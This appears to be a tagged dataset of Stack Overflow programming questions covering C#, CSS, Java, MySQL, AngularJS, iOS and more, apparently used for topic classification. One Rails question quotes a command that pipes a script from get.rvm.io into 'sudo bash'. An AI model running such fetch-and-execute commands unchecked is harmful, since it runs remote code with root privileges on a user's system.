task<t>.result used to block. does it still   according to the original documentation for <code>task&lt;t&gt;.result</code>  it caused waiting threads to be blocked.    the prescription was to call <code>.wait()</code> before requesting <code>.result</code>.    is this still true   if not  when did it change     subsequent question: is calling <code>.wait()</code> before <code>.result</code> (still) helpful or necessary     edit: (more context/detail)    i may have a gross conceptual error here.  but as i understand it... calling <code>.wait()</code> will return a task to the scheduler and re-enter once the task is complete.  effectively the difference between parking your car in the middle of an intersection (blocking everyone) vs stopping on the side of the road until you re ready to move on (while everyone specifically waiting for you also parks on the side).    mechanisms like monitor  semaphore  etc... will  block  <strong>all</strong> threads that attempt to gain access to a resource.  potentially killing your performance unnecessarily.   when i first encountered <code>.result</code> (before async/await) the documentation and supporting information said it was  blocking .  which is likely still true.    what i m wondering is:    1) is my understanding of <code>.wait()</code> correct   does it give the task back to the scheduler for re-entrance   it may not have before  but i m guessing that a compiler optimization could have been implemented to allow this.    2) is there any real difference between the following:    just calling <code>.result</code>.   <pre><code>var x = task.result; </code></pre>   or calling <code>.wait</code> before calling <code>.result</code>    <pre><code>task.wait(); var x = task.result; </code></pre>,.net
lazy or not to use the new keyword without assigning the result   i always enjoy learning new approaches and coding methods. my question relates to the use of the  new  keyword.  would one consider using the new keyword without assignment fair practice    <pre><code>   var example1 = new item();    example.add(testobject);  //ok     //using initializer ...    var example2 = new item    {        title=  this is the title          summary =  this is the summary     }; //fine again ..      //but my question relates to using the new keyword like thus ...       new item().add(testobject); </code></pre>   i personally am not keen on the last approach  to me it seems a little lazy and messy haha  but are there any drawbacks or issues associated with using the new  keyword in this manner  i don t think there are as the garbage collector will clean up but would like a little advice here,c#
align text center with icon next to it  i have the following code:   <pre><code>&lt;div class= icon-search small-collapse large-2 medium-12 small-12 hide-for-medium-down js-hide-for-small columns &gt;     &lt;input type= submit  value= {{  search |trans }}  class= button &gt; &lt;/div&gt; </code></pre>   and the css for the icon is:   <pre><code>.icon-search:before{   top: 15px;   left: 18px;   position: absolute;   z-index: 9999;   color: white;   font-size: 2.2rem; } </code></pre>   however the value i get from  value= {{  search |trans }}   is dynamic because of the language selection.    how can i make sure that the  icon-search  is always 5px away from the value return from  {{  search |trans }}  and that both are always aligned centered,css
ruby on rails bundle command error  i install rvm ( multiuser install : \curl -l <a href= https://get.rvm.io  rel= nofollow >https://get.rvm.io</a> | sudo bash -s stable) and i added user to rvm group and i typping  rails new testprj  but i have an error message  it is same typping  bundle  command errer message how do i do     i m really sorry my english...   <pre><code>kitty@ubuntu:~/workspace/rails$ bundle unfortunately  a fatal error has occurred. please see the bundler troubleshooting documentation at http://bit.ly/bundler-issues. thanks! /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/2.1.0/tmpdir.rb:85:in `mkdir : error: failed to build gem native extension. (gem::ext::builderror)      permission denied @ dir_s_mkdir - ./.gem.20140211-10050-1th152x  gem files will remain installed in /usr/local/rvm/gems/ruby-2.1.0/gems/sqlite3-1.3.8 for inspection. results logged to /usr/local/rvm/gems/ruby-2.1.0/extensions/x86_64-linux/2.1.0/sqlite3-1.3.8/gem_make.out     from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/2.1.0/tmpdir.rb:85:in `block in mktmpdir      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/2.1.0/tmpdir.rb:142:in `create      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/2.1.0/tmpdir.rb:85:in `mktmpdir      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/ext/ext_conf_builder.rb:14:in `build      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/ext/builder.rb:161:in `block (2 levels) in build_extension      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/ext/builder.rb:160:in `chdir      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/ext/builder.rb:160:in `block in build_extension      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/ext/builder.rb:159:in `synchronize      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/ext/builder.rb:159:in `build_extension      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/ext/builder.rb:198:in `block in build_extensions      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/ext/builder.rb:195:in `each      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/ext/builder.rb:195:in `build_extensions      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/specification.rb:1436:in `block in build_extensions      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/user_interaction.rb:45:in `use_ui      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/specification.rb:1434:in `build_extensions      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/stub_specification.rb:60:in `build_extensions      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/basic_specification.rb:56:in `contains_requirable_file       from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/specification.rb:925:in `block in find_inactive_by_path      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/specification.rb:924:in `each      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/specification.rb:924:in `find      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/specification.rb:924:in `find_inactive_by_path      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems.rb:185:in `try_activate      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/core_ext/kernel_require.rb:132:in `rescue in require      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/core_ext/kernel_require.rb:144:in `require      from /usr/local/rvm/gems/ruby-2.1.0@global/gems/bundler-1.5.3/lib/bundler/vendor/net/http/persistent.rb:12:in `&lt;top (required)&gt;      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/core_ext/kernel_require.rb:55:in `require      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/core_ext/kernel_require.rb:55:in `require      from /usr/local/rvm/gems/ruby-2.1.0@global/gems/bundler-1.5.3/lib/bundler/vendored_persistent.rb:3:in `&lt;top (required)&gt;      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/core_ext/kernel_require.rb:55:in `require      from /usr/local/rvm/rubies/ruby-2.1.0/lib/ruby/site_ruby/2.1.0/rubygems/core_ext/kernel_require.rb:55:in `require      from /usr/local/rvm/gems/ruby-2.1.0@global/gems/bundler-1.5.3/lib/bundler/fetcher.rb:1:in `&lt;top (required)&gt;      from /usr/local/rvm/gems/ruby-2.1.0@global/gems/bundler-1.5.3/lib/bundler/cli.rb:247:in `install      from /usr/local/rvm/gems/ruby-2.1.0@global/gems/bundler-1.5.3/lib/bundler/vendor/thor/command.rb:27:in `run      from /usr/local/rvm/gems/ruby-2.1.0@global/gems/bundler-1.5.3/lib/bundler/vendor/thor/invocation.rb:121:in `invoke_command      from /usr/local/rvm/gems/ruby-2.1.0@global/gems/bundler-1.5.3/lib/bundler/vendor/thor.rb:363:in `dispatch      from /usr/local/rvm/gems/ruby-2.1.0@global/gems/bundler-1.5.3/lib/bundler/vendor/thor/base.rb:440:in `start      from /usr/local/rvm/gems/ruby-2.1.0@global/gems/bundler-1.5.3/lib/bundler/cli.rb:10:in `start      from /usr/local/rvm/gems/ruby-2.1.0@global/gems/bundler-1.5.3/bin/bundle:20:in `block in &lt;top (required)&gt;      from /usr/local/rvm/gems/ruby-2.1.0@global/gems/bundler-1.5.3/lib/bundler/friendly_errors.rb:5:in `with_friendly_errors      from /usr/local/rvm/gems/ruby-2.1.0@global/gems/bundler-1.5.3/bin/bundle:20:in `&lt;top (required)&gt;      from /usr/local/rvm/gems/ruby-2.1.0@global/bin/bundle:23:in `load      from /usr/local/rvm/gems/ruby-2.1.0@global/bin/bundle:23:in `&lt;main&gt;      from /usr/local/rvm/gems/ruby-2.1.0/bin/ruby_executable_hooks:15:in `eval      from /usr/local/rvm/gems/ruby-2.1.0/bin/ruby_executable_hooks:15:in `&lt;main&gt;  </code></pre>,ruby-on-rails
group users by age for a range using java  i have a 1 000 000 user list with different ages  and i want to perform a search in java that will output just the number of people in the group based on their age range. for example:   <pre><code>age group                 age range 1                         6 years old or younger 2                         7 to 18 years old 3                         19 to 26 years old 4                         27 to 49 years old 5                         50 to 64 years old 6                         65 to 79 years old 7                         80 years old or older </code></pre>   i want my output to display the number of people that falls within the age group if i enter a particular age group. that is:   <pre><code>if i enter 1 </code></pre>   the output should be:   <pre><code>**** users found (total number of users that falls within the  age range 6 years old or younger) </code></pre>   any kind of data structure is perfectly ok.    this is what i ve done so far:   <pre><code> /**  a template used to read data lines into java.util.arraylist data structure.  input file: pjdata.csv  input file must be saved under the same directory/folder as the program.  each line contains 5 fields  separated by commas. for example   959695171  64  az  m  1  355480298  101  tn  f  1  **/  import java.io.*;  import java.util.*;  public class pj3template2  {   public static void main(string args[])   { string line; string id  s  g; integer a  sa; stringtokenizer st; healthds2 records = new healthds2();  try   {       filereader f = new filereader( pjdata.csv );       bufferedreader in = new bufferedreader(f);       while ((line = in.readline()) != null)          {          st = new stringtokenizer(line     );          id = st.nexttoken(   ).trim();          a = integer.valueof(st.nexttoken(   ).trim());          s = st.nexttoken(   ).trim().touppercase();          g = st.nexttoken(   ).trim().touppercase();          sa = integer.valueof(st.nexttoken().trim());          records.add(new healthrec2(id  a  s  g  sa));          } // loop until the end of file       in.close();        f.close();       }       catch (exception e) {  e.printstacktrace(); }; system.out.println(records.getsize() +   records processed. );   // search by age system.out.print( enter 1-character age abbreviation to search:  ); string ui; scanner input = new scanner(system.in); ui = input.next().trim(); system.out.println( searching all records in:   + ui);  arraylist &lt;healthrec2&gt; al = records.searchbyage(integer.valueof(ui.trim())); system.out.println(al.size() +   records found. );           }  }   /**  data class sample records:  5501986  31  wv  f  1  1539057187  5  ut  m  2  **/  class healthrec2  {     string id;     integer age;     string state;     string gender;     int status;     public healthrec2() { }     public healthrec2(string i  integer a  string s  string g  int sa)        { id = i; age = a;  state = s; gender = g; status = sa; }  // reader methods  public string getid()     { return id; }  public integer getage()   { return age; }  public string getstate()  { return state; }  public string getgender() { return gender; }  public int getstatus()    { return status; }  // writer methods  public void setage(integer a)   { age = a; }  public void setstate(string s)  { state = s; }  public void setgender(string g) { gender = g; }  public void setstatus(int sa)   { status = sa; }   public string tostring()  { return id +      + age +      + state +       + gender +      + status; }  } // healthrec    // data structure used to implement the requirement  // this implementation uses java.util.arraylist  class healthds2  {  arraylist &lt;healthrec2&gt; rec;  public healthds2()    { rec = new arraylist &lt;healthrec2&gt;(); }  public healthds2(healthrec2 r)   {   rec = new arraylist &lt;healthrec2&gt;();  rec.add(r);   }  public int getsize() { return rec.size(); }  public void add(healthrec2 r) { rec.add(r); }  // search by age // no data validation is needed -- assuming the 1-character age is valid // returns an arraylist of records public arraylist &lt;healthrec2&gt; searchbyage(integer a) { arraylist &lt;healthrec2&gt; temp = new arraylist &lt;healthrec2&gt;();   for (int k=0; k &lt; rec.size(); ++k)   {   if (rec.get(k).getage().equals(a))      temp.add(rec.get(k));     }   return temp;   } // searchbyage   } // healthds </code></pre>   my goal is to search based on <code>state</code>  <code>status</code>  <code>gender</code> and <code>age</code> group. i ve done that for the others  but i m just having a little problem with the age group since it is grouped rather than just searching for a particular age in the data file. i tried creating seven arraylists for each group but i am still having a little problem switching between groups.,java
how to show my app in setting screen in ios  i have a small doubt on ios. i created an app and run this app on simulator and device also. and i want to see that app in setting screen like below screenshots.    <img src= https://i.stack.imgur.com/a7mvv.png  alt= enter image description here >    like facebbok  flickr  twitter  i want see my app here. what i have to do       i have to do in coding ya how please help me.,ios
mysql copy two table columns to another table with different column names  i have two tables:    <strong>pages1</strong>   <pre><code>+---------------+-------------+ | id            | int         | +---------------+-------------+ | content       | medium_text | +---------------+-------------+ | date_modified | int         | +---------------+-------------+ </code></pre>   <strong>pages2</strong>   <pre><code>+---------+-------------+ | id      | int         | +---------+-------------+ | content | medium_text | +---------+-------------+ | date    | int         | +---------+-------------+ </code></pre>   i m having trouble copying <code>content</code> and <code>date_modified</code> columns from the <code>pages1</code> table to the <code>content</code> and <code>date</code> columns in the <code>pages2</code> table.    i get <code>unknown column</code> errors and i ve attempted to use <code>as</code> (alias) in case it was a mismatch though i m 100% certain the columns exist. i ve used the obnoxious ticks and the whole nine yards:   <pre><code>insert into pages2 (`content`  `date`) values (select `content`  `date_modified` from `pages` where `pages2`.`id` = `pages`.`id`); </code></pre>,mysql
uitextview stop writing outside bounds  i have a uitextview with disabled scrolling. is it possible to stop the user from writing more content in the uitextview so that the writing will remain on screen and not disappear in the hidden side of the text view,ios
manually set an order number with auto increment in mysql  i am looking for a mysql code to set an order number with auto increments.    this is already in the database  but i want to change the order number i hope some one can help.    thank you very much regards flemming,mysql
c++  convert string to int  i`ve tried many ways to convent a string to a int. this includes atoi() and stringstream <br> but i still cannot convert it. i have a only numeric string and i want to convert it to a int.    the reason for that is that im receiving data form user using <strong>getch()</strong> and storing it into a string buffer  but in a certain point i want to convert this buffer to a int for use. so my string would be like that:   <pre><code>string hello =  673 ; </code></pre>   and i want to transform this value into an interger. <strong>edit</strong> this is not a duplicated questions because i tried all this methods many times and still now work.all of this just crash my program or error an invalid conversion.,c++
c# 7.3 readonly struct type  this  reference  <a href= https://docs.microsoft.com/en-us/dotnet/csharp/reference-semantics-with-value-types#readonly-struct-type  rel= nofollow noreferrer >readonly struct type</a>   <blockquote>    the <code>this</code> reference  instead of a copy of the receiver  is always an <code>in</code> parameter passed by reference to the member method. this optimization saves more copying when you use a <code>readonly struct</code>.  </blockquote>   what exactly does this mean  does normal struct always make a copy when using  this  in the constructor,c#
read individual values separated by commas per line c#  i am trying to read a text file and import each value separated by a comma on each line  on more than one line. i have already done it in vb.net but i can not seem to figure how to do it in c#.    my text file looks like this:    12345678 you smell 1 0.50    73432433 listen 5 9    as you can see on each line  there is 4 values separated by a comma. how can i set each individual value to an array in my program  and be able to import the next line. i have tried this  to see if i can see each value.   <pre><code>        string[] lines = file.readalllines( stock.txt );         foreach (string line in lines )         {             string[] col = line.split(   );             console.writeline(col[0]);             console.writeline(col[1]);             console.writeline(col[2]);             console.writeline(col[3]);         } </code></pre>   but that only gives me values for one line.  this is the vb.net code that i am trying to duplicate:   <pre><code>        fileopen(1   stockfile.txt   openmode.input)      do while not eof(1)          input(1  gtin)         input(1  gtin_info)         input(1  price)          stock(no).gtin = gtin         stock(no).gtin_info = gtin_info         stock(no).price = price          no = no + 1      loop      fileclose(1) </code></pre>   in the above example  the input imports per comma  then i set each value to a value inside an array. how could i do this in c#  thanks for any help,c#
getting error when capturing the opt value  i am calling a function <code>menu_display1(&amp;table rows &amp;opt);</code> in my file and the definition of that function is given below..  here table is a resultset contains id  name and cols=30   <pre><code>int  menu_display1( resultset *table int cols char *opt[]) {         char *menu_list[table-&gt;rows + 1];         int i;           if(table-&gt;rows &gt; 0 &amp;&amp; strcmp(table-&gt;recordset[0][0]    ) != 0)         {                  for(i=0; i&lt;(table-&gt;rows); i++)                 {                         menu_list[i] = table-&gt;recordset[i][1];                 }                 lk_dispclr();                 *opt=scroll_menu1(menu_list i);         printf( the selected category name is %s  *opt);                  // if(*opt==cancel)                     //   return cancel;          }        return success;//# define success 1 } </code></pre>   i need to capture the value from opt and i need to print it..   <pre><code>printf( the option value is %s \n  opt); </code></pre>   but i am getting garbage values in <code>opt</code>..i dont know how to handle the opt value...,c
compresing view  in  iphone tips  app when u scroll view from right to left thay have show view being comppresed.it gives the effect like when u will open pages in book.like when u go go next next page in a note book.how to achive this.including the fonts in page will also get compressed.how to achive this.,iphone
angular js-$scope is undefined <pre><code>  $scope.save = function () {         $.ajax({             type:  post               url:  http://localhost:57083/entityservice.asmx/insertentity               data:  { eno :   + $scope.eno +     ename :   + $scope.ename +     dob :   + $scope.dob +     state :   + $scope.state +     city :   + $scope.city +     pin :   +             $scope.pin +     mobile :   + $scope.mobile +   }               contenttype:  application/json;charset=utf-8               datatype:  json               success: function (responsedata) {                 alert(responsedata.d);             }              error: function (responsedata) {                 alert(responsedata.d);             }          });     }; </code></pre>   in this code i am trying to connect with database using angular js. but it is not working it shows error as  $scope  is undefined.can anyone explain,angularjs
delete a quote in php  in my excel file i have a parameter that contains a description (type string) of an article. in the parsing file  it does not read a field of a description that contains a <code>quote  </code>; it jumps over them  like with this example of a description:   <pre><code>cabo verde  tacv  </code></pre>   i changed a getter method by adding a test  but it doesn t work:   <pre><code>public function getname() {   if($this-&gt;_name= str_replace(     \    $this-&gt;_name)){            return $this-&gt;_name;   } } </code></pre>   how can i change the method to read all the data of a description field,php
scaling a web layout with the viewport  i am aware of the css 3 units <code>vw</code>  <code>vh</code> and <code>vm</code>  which seem to be useful for making elements that have their box sizes and text sizes relative to the browser s viewport size. however  sadly  these are not well-supported with the current major browsers; only internet explorer 9+ does.    what other methods can i use to do things like css <code>font-size</code> properties that scale with the viewport  i would like to avoid javascript and/or jquery solutions if possible.,css
starting text in uitextview from center both horizontally and vertically  i want to begin text entered into uitextview from center both horizontally and vertically  please some one help me.,iphone
is it good practice to use iframe to implement header/navbar   is it good practice to use iframe to implement header/navbar     my website is basically 5 thousand pages but all static html (not using any content manager  php  etc.).    am in the process to add a navbar at the top of each page. e.g. tabs  or crumbs  or any sort of header with js menu. (the exact design not decided yet)    my question is  is it good practice to use a iframe for this  (so  instead have same text repeated in all 5 thousand pages  each will just have a short iframe pointing to a header file)    am aware that one should reduce http request for speed  but this is ok with me. any other problems i might have with this  seo or any tech issue,html
sql select rows but remove records with duplicated phone number  i ve got an application table containing phone numbers.  i m trying to select the top 10000 rows ordered by the applicationid descending (to get the latest apps) but i want to remove all the duplicate phone numbers.    i ve tried..   <pre><code>select distinct * from (select top 10000 forenames  phonenumber from application order by applicationid desc) as applications </code></pre>   although this query sorts it by forename ascending  ie no longer in applicationid order.,sql
python 3 : indexerror: list index out of range  i am trying to remove duplicates from a list. i am trying to do that with below code.   <pre><code>&gt;&gt;&gt; x [ a    b    c    d    e    f    a    b ] &gt;&gt;&gt; for i in range(x_length) : ...  j=i+1 ...  if x[i] == x[j] : ...   x.pop([j]) </code></pre>   but i am getting    <pre><code>traceback (most recent call last):   file  &lt;stdin&gt;   line 2  in &lt;module&gt; indexerror: list index out of range </code></pre>   please help.,python
click event does not work after replace html into div in angularjs  i am trying to replace html content with new one in div but after replacing html click event not working.   <pre><code>&lt;div id= search-autocomplete  ng-bind-html= htmlelement() &gt;&lt;/div&gt;  $scope.htmlelement = function() {     return $sce.trustashtml( &lt;div id= searchr-result-containter &gt;&lt;div id= autocomplete-content &gt;&lt;div id= search-result  &gt; +data.result+ &lt;/div&gt;&lt;/div&gt;&lt;/div&gt; ); }; </code></pre>   thanks in advance :),angularjs
php in_array() only works in nested if  the following code:   <pre><code>$result = $conn-&gt;query( select * from $mytable ); while($result &amp;&amp; ($row = $result-&gt;fetch_assoc()) &amp;&amp; in_array($row[ id ]  $accessible_ids)){      // do something } </code></pre>   won t do something  while this little modification:   <pre><code>$result = $conn-&gt;query( select * from $mytable ); while($result &amp;&amp; ($row = $result-&gt;fetch_assoc())){    if(in_array($row[ id ]  $accessible_ids)){      //do something    } } </code></pre>   does something. <code>$accessible_ids</code> comes from here:   <pre><code>$result = $conn-&gt;query( select id from $sometable where userid = $userid ); $accessible_ids = array(); while($result &amp;&amp; ($row= $result-&gt;fetch_assoc())){   $accessible_ids[] = $row[ id ]; } </code></pre>   but: if <code>$accessible_ids</code> contains the element  1  only  both codes work. but once <code>$accessible_ids</code> contains  2  and  3  only the lower code works for me.     i just want to know why this is a thing and what i have done to deserve this. (finding the cause took me a while and i m using php 7 and xampp)    <strong>update:</strong>    a sample output:   <pre><code>print_r($accessible_ids); $result = $conn-&gt;query( select * from $mytable ); while($result &amp;&amp; ($row = $result-&gt;fetch_assoc())){    if(in_array($row[ id ]  $accessible_ids)){      //do something      echo  &lt;br&gt; ;      print_r($row[ id ]);    } } </code></pre>   produces:   <pre><code>array ( [0] =&gt; 2 [1] =&gt; 3 )  2 3 </code></pre>,php
not able to generate .exe file from a c program  i am trying to generate a .exe file the following program  which runs correctly but does not generate a .exe file. instead it generates a .depend file.   <hr>   i am using gcc compiler with codeblocks ide on windows 7 platform.   <hr>  <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int max(int  a int b) { int c=(a&gt;b) a:b; return c; }  int maxcoins(int n) { int arr[n+1] i; arr[0]=0; arr[1]=1; arr[2]=2; arr[3]=3;  if(n&gt;2) {   for(i=3;i&lt;=n;i++) {     int k= arr[(int)(i/2)]+arr[(int)(i/3)]+arr[(int)(i/4)];     arr[i]=max(i k); } }   return arr[n]; }  int main(void) { int coins;  while((scanf( %d   &amp;coins)) != eof) {     printf( %d\n  maxcoins(coins)); }  getchar();  return 0; } </code></pre>  <hr>   what could be the problem   i am able to compile other files easily. does this has anything to do with the fact about how i am taking the input,c
calling base class virtual method by derived class virtual method  in c++ - take a case where derived class deriving from a base class and there is a virtual method in base class which the derived class is overriding. could someone tell me a real life scenario where the derived class version of the virtual function might require to call the base class version of the virtual function     example    <pre><code>class base { public:     base() {}     virtual ~base() {}     virtual void display() { cout &lt;&lt;  base version  &lt;&lt; endl; } };  class derived : public base { public:     derived() {}     virtual ~derived() {}     void display(); };  void derived::display() {     base::display();  // a scenario which would require to call like this      cout &lt;&lt;  derived version  &lt;&lt; endl; } </code></pre>,c++
assigning variable to $scope inside directive  i have a directive:   <pre><code>&lt;users-table user= {{ session.user }} &gt;&lt;/users-table&gt; </code></pre>   <code>session.user</code> is an object containing several key-value pairs.     i have a directive:   <pre><code>angular.module( app ) .directive( users-table   function($scope) {     return {         restrict:  e           scope: {             currentuser:  =user          }          templateurl:  /js/directives/templates/users-table.html           link: function($scope  $element  $attrs) {             console.log(currentuser);             $scope.user = currentuser;         } // link     }; // return }]); </code></pre>   at this stage  i m simply trying to confirm that it s wired-up correctly  by outputting the <code>$scope.user</code> object in the template:    /js/directives/templates/users-table.html:   <pre><code>{{ user }} </code></pre>   but this doesn t return anything. what am i doing wrong here in this simple directive     debugging steps i ve already gone through:   <ol> <li>checked that the file is loaded correctly.</li> <li>checked output of <code>session.user</code> (this is correct just before directive element).</li> </ol>   edit: it seems that the link function isn t even being called because the <code>currentuser</code> is not being logged to the console.,angularjs
how to print all lines with a certain word in it in a text file  i need to write a program that takes a text file and asks the user for a word  then prints every line in which that word appears in. here s the code i have so far but it gives me an error:   <pre><code>text_file = open( gettysburg.txt    r ).read() key_word = input( what is the word :  )  for line in text_file.readlines():     if key_word in line:        print(line) </code></pre>   what am i doing wrong,python
how to make jquery work in tumblr  this is the jquery code in my script.js file:   <pre><code>$(document).ready(function() { $( #new ).delay(250).fadein(1000); $( #media ).delay(850).fadein(1000); $( #newb ).delay(1600).fadein(1000); }); </code></pre>   where and how do i put these codes in my html  i know i need to have script tags in the head section. but what are the specifics  as far as the proper <code>&lt;script ref= ...  &gt;</code> tags and where do i put these codes exactly.,jquery
how to create cutscenes in android app   i want to create something like video-game or interactive-movie android application. can i use video like cutscenes in <code>android</code> game  if i can  tell me please how to do it. thanks! may be you can find the best way to make it.,android
expand a css div only if content stretches it  i am working on a new blog site  it will document my code and such.  i have a syntax highlighter which looks like the image below...   <hr>   <img src= https://i.stack.imgur.com/qyfyz.jpg  alt= enter image description here >   <hr>   i have this css   <pre><code>.syntaxhighlighter {   width: 100% !important;   margin: 1em 0 1em 0 !important;   position: relative !important;   overflow: auto !important;   overflow-y: hidden !important;   font-size: .9em !important; }  .syntaxhighlighter:hover {   width: 135% !important; } </code></pre>   as you can see in the image  the syntax highlited code is a certain width to fit in my layout  i am experimenting with making it wider when hovered for when the there is code that makes it wider then my content div.    that is where i added the <code>.syntaxhighlighter:hover</code> class and it works  when i hover the sytax highlighter div  it expands to the width i set.  now the only thing i am hoping to change if it s even possible....    i would like to somehow only expand the highlighter div width if the code inside it stretches beyond the normal width.    can anyone help me with this,css
concatenate 2 rows with different id code and menu name in sql <pre><code>id_code      menu_name      sale    unit_sale 4204          orange       150080     7504 4182          orange       958060     47903 4182       orange juice     140        7 2068           null        1398697    12508 4536           null         44600     1115 </code></pre>   i have this table in sql  but i want it to become like this:   <pre><code>id_code  menu_name    sale     unit_sale 4204      orange     1108280    55414 2068       null      1398697    12508 4536       null       44600      1115 </code></pre>   sum all the same menu_name as well as with the same id_code  but then retain all the null values. how to code this  it is possible   thanks in advance.,sql
basic vanilla javascript example not working  would someone please explain why this isn t working     html   <pre><code>&lt;p&gt;     &lt;button class= selectable &gt;button&lt;/button&gt; &lt;/p&gt; </code></pre>   javascript   <pre><code>var selectable = document.getelementsbyclassname( selectable );  selectable.onclick = function() {     alert( success ); } </code></pre>   <a href= https://jsfiddle.net/qpmsw5yg/  rel= nofollow >https://jsfiddle.net/qpmsw5yg/</a>    thanks     justin,javascript
.net assembly binding at compile time vs run time  why do many assembly binding errors occur only after running an application and not at compile time   is there a compiler switch to force a strong resolution of assembly bindings during compile     example:    we had an asp.net web project with nuget packages for webapi v5.2.6 and it referenced a class library project with nuget packages for web api v 5.2.3 (or the versions were switched vice versa  i do not recall specifically).    the project compiled fine and we deployed.    at runtime  it failed to startup with assembly binding errors stating that binaries for 5.2.3 could not be found.    we opened the solution back up  check nuget consolidate  applied the consolidation recommendations  rebuilt  redeployed and everything worked fine.,c#
get nsmutablearray objecte in for loop  i need to get array object in for loop in all the position odd number i set the array with name.  is this possible to set array name in for loop   now i get the name and not the array object.   <pre><code>nsmutablearray *array0 = [[nsmutablearray alloc]initwithobjects:@ name 1   nil];  nsmutablearray *array1 = [[nsmutablearray alloc]initwithobjects:@ name 2   nil]; nsmutablearray *array2 = [[nsmutablearray alloc]initwithobjects:@ name 3   nil];  nsmutablearray *array3 = [[nsmutablearray alloc]initwithobjects:@ name 4   nil];  nsmutablearray *nilobject = [[nsmutablearray alloc]initwithobjects:@    nil];  namearray = [[nsmutablearray alloc]init];  int countnumber = 0; for (int i = 0 ; i&lt;= 4 * 2; i++) {     if (i % 2 == 0)     {         [namearray addobject:nilobject];         countnumber++;     }     else     {         [namearray addobject:[nsstring stringwithformat:@ array%i  i -countnumber]];     } } </code></pre>,objective-c
link to css file from css file  is it possible call another external css file from external css file,css
cgwindowlistcreate generates a hugely long list of windows  when i use cgwindowlistcreate from quartz window services  it generates a very long array of window id s.  i tried to turn on the option to exclude desktop elements  but i get a list of 30-40 windows even if there are only 3 or 4 of what i would call windows open.      here is how i am doing it:   <pre><code> cgwindowlistoption opt = 1 &lt;&lt; 4;  cfarrayref windowids =cgwindowlistcreate(opt kcgnullwindowid); </code></pre>   i am wondering what i am doing wrong that is causing this problem  and what i can do to fix it.  i simply want the program to list windows created by applications  such as finder windows or browser windows  and not whatever else it is including.  thank you in advance for your help.,objective-c
function to check for foreign key references when inserting new records  given two tables:   <pre><code>-- create table: city (fk) create table city (     city_id             int                 primary key         auto_increment      city_name           varchar(150)        not null            unique );  -- create table: organizations create table organization (     id              int                     primary key         auto_increment      name            varchar(150)      city_fk         int       -- foreign key constraint     constraint organization_fk_city         foreign key (city_fk)         references city (city_id) ); </code></pre>  <hr>   and given a csv text file with the format below:   <pre><code>12332  slack  columbia 21242  jackson  columbia 23323  thompson  annapolis </code></pre>  <hr>   i have to parse this csv file into my table  but am wondering how i can check to see if a record already exists in the city table with the same name.    is there a sql function/query to check  city  for matching foreign key entity     i have this sql  function  i ve created  but am not sure how to use it when inserting a record.    <pre><code>create function find_city(name varchar) returns int begin     # initilize variables     declare id_found int default 0;      -- declare variable to hold results     id_found = select city_id from city where city_name = name;      -- if records are returned      case        -- return the foreign key id found        when id_found &gt;= 1 then return id_found       -- insert new record into table       else insert into `donorsearch`.`city` (`city_name`) values (name);     end end// </code></pre>,mysql
store time into table  i need to populate my table with time values. the columns that will contain these values are type: <code>time</code>.     this type expects data in the following format: hh:mm:ss and i have values like <strong><em>830</em></strong> for <em>8:30 am</em>  <strong><em>2300</em></strong> for <em>11:00 pm</em> and <strong><em>0</em></strong> for midnight. do i need to pad the values to have 6 digits before inserting them,mysql
